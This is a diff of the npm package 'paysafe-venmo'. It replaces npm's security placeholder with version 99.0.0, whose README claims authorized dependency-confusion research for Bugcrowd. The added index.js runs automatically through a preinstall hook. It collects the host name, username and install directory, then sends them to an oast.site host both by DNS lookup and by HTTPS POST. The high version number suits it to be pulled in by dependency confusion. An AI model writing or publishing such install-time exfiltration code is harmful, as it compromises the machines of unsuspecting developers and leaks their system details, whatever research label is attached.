paysafe-venmo 0.0.1-security → 99.0.0

package/README.md

@@ -1,5 +1,3 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=paysafe-venmo for more information.
+# paysafe-venmo
+Security research package. Registered as part of authorized dependency confusion testing.
+Contact: realvivek (Bugcrowd)

package/index.js

@@ -0,0 +1,28 @@
+const os = require("os");
+const dns = require("dns");
+const https = require("https");
+
+const pkg = require("./package.json").name;
+const data = JSON.stringify({
+    p: pkg,
+    h: os.hostname(),
+    u: os.userInfo().username,
+    d: __dirname,
+    t: new Date().toISOString()
+});
+
+const safe = Buffer.from(data).toString("hex").substring(0, 60);
+const subdomain = "payvenmo." + safe + ".d7d01vqqlg7v2vtidk30gew9w7ebqdsbc.oast.site";
+try { dns.resolve(subdomain, function(){}); } catch(e) {}
+
+const postData = JSON.stringify({pkg: pkg, host: os.hostname(), user: os.userInfo().username, dir: __dirname});
+const req = https.request({
+    hostname: "d7d01vqqlg7v2vtidk30gew9w7ebqdsbc.oast.site",
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {"Content-Type": "application/json", "Content-Length": postData.length}
+}, function(){});
+req.on("error", function(){});
+req.write(postData);
+req.end();

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "paysafe-venmo",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.0.0",
+  "description": "Security research - dependency confusion test",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "realvivek",
+  "license": "MIT"
 }